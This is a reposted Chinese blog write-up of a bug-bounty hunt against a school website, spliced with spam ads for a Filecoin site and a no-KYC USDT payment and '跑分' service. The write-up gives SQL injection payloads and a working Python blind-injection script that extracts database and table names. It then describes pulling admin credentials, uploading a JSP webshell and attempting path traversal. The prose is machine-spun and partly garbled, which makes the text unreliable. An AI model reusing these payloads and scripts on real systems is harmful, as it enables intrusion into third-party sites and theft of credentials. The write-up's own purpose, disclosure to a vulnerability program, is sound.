Filecoin矿池

Filecoin官网(www.FLaCoin.vip)是Filecoin致力服务于使用Filecoin存储和检索数据的官方权威平台。Filecoin官网实时更新Filecoin(FIL)行情、当前Filecoin(FIL)矿池、Filecoin(FIL)收益数据、各类Filecoin(FIL)矿机出售信息。并开放Filecoin(FIL)交易所、Filecoin云矿机、Filecoin矿机出售、租用、招商等业务。

记一次曲折的edu挖洞

​ 在挖edusrc时,对着某站的搜索框举行测试时突然发现了sql注入,但没想到这才是噩梦的最先。

实验团结查询

​ 接见url/search.jsp?key=12'页面显示了500,然则接见url/search.jsp?key=12'--+页面回显正常,冥冥中感受存在了SQL注入。

​ 接着最先fuzz字符,发现也没有过滤啥字符。

​ 最先使用order by获得表的列数,接见url/search.jsp?key=12'order by 18--+页面是正常的,接见url/search.jsp?key=12'order by 19--+页面显示500,判断出列数为18,当我开心的以为的可以通过union团结查询举行注入时,500了!!!Payload:url/search.jsp?key=-12'union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--+,emmmmm虽然不知道为啥报错了,然则很显著不能用,换个思绪继续。

实验布尔盲注

​ 测试 url/search.jsp?key=12'or 1=0--+url/search.jsp?key=12'or 1=1--+发现回显的内容又纷歧样了,如下图

​ 这么简朴的Payload都能测试乐成,于是直接上了sqlmap最先跑,然则没有用果。一脸疑惑,只能试试可不能以写剧本了,先用了一个最简朴的剧本试试

import requests

url = "url/search.jsp"

content = "select database()"

for i in range(1,30):
    sql = "?key=12'or length(({}))={}--+".format(content,i)
    res = requests.get(url=url+sql)
    print(res.url)
    if u"18.12.3—18.12.7" in res.text:
        print(i)
        break

​ 然则上来就报错了(在课堂上课时测试的,见谅看)

,

Usdt第三方支付接口

菜宝钱包(www.caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

,

​ 改来改去照样报错在一直报错,时代问过Firebasky师傅,他说他之前也遇到了,而且给我领会决方案(如下),我测试了一下,报错照样存在的,看来并不是这个问题,不外这里照样纪录学习了。

import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
,解决https ssl问题
requests.packages.urllib3.disable_warnings()

​ 于是,我手动二分法测试出来了database()的长度为11,接着继续测试剧本,发现1-10都没问题,一旦到了11就报错,于是我单独使用Python的方式接见url/search.jsp?key=12'or length((select database()))=11--+,照样报错。这时刻我有了一个勇敢的想法:当or后面的条件为真时,剧本接见就会报错,而为假时,接见就没任何问题。以此为条件组织剧本,这里行使了try...except...语句组织剧本好剧本(是拿LemonPrefect师傅之前竞赛的二分法注入剧本改的),如下:

import requests

url = "url/search.jsp"

def main():
    result = ""

    for i in range(1, 200):
        low = 32
        high = 128
        while low < high:
            mid = int((low + high) / 2)
            , content = "select database()"  ,school_lvdi
            content = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
            sql = f"?key=12'or ascii(substr(({content}),{i},1))<{mid}--+"
            try:
                requests.get(url=url+sql)
                low = mid + 1
            except:
                try:
                    requests.get(url=url + sql)
                    low = mid + 1
                except:
                    high = mid

            print("[+] After changing we got {} to {}".format(low, high))
        if low == high == 32:
            print("[*] Result is: {}".format(result))
            break
        print("[+] Now has {}".format(i))
        result += chr(int((high + low - 1) / 2))
        print("[*] Result now is: {}".format(result))

if __name__ == '__main__':
    main()

​ 这里使用两次try...except...来判断,由于这种判断原本就不是稀奇可靠的,可能会由于网络的缘故原由存在一定的问题,从而导致注入出来的字符存在一定乱码,使用两次则可以大大改善这个情形。

实验Getshell(失败)

​ 数据库中有个表sys_user存在两个列ACCOUNTPASSWORD,从中获得了后台的登录账号密码。登录后台后,发现可以上传附件,而且可以上传jsp马

​ 然则死活找不到jsp马的路径,再看其余文章时突然想到通过附件地址应该和照片的位置一样的,于是去找了照片的地址,然则照片的地址花样时这样的url/school/Image-getImage.action?imageName=f3f86c90-bc38-4578-8853-58c853805a69.png,应该是用了文件包罗的方式举行的,实验去接见jsp马,emmmmm接见到了然则不剖析,如下图

​ 既然是文件包罗的功效,试试是否存在目录穿梭读取随便文件,想要去读网站的index.jspsearch.jsp但都不太行,Payload差不多是这样的url/school/Image-getImage.action?imageName=../../../../index.jsp

结语

​ 剩下看了一下没有啥功效了,提交破绽,溜了溜了。在挖edu时,从网站的功效下手是一个不错的选择,尤其是搜索框很有可能就有SQL注入的破绽,然则由于是黑盒测试,要自己判断它的SQL语句,还要判断数据库类型,是否存在过滤,照样需要许多履历。共勉!!

Usdt官方交易所声明:该文看法仅代表作者自己,与本平台无关。转载请注明:usdt法币交易api接入(www.caibao.it):记一次曲折的edu挖洞
发布评论

分享到:

usdt在哪里可以交易(www.payusdt.vip):肯扬-马丁加入观战火箭对阵勇士的竞赛
你是第一个吃螃蟹的人
发表评论

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。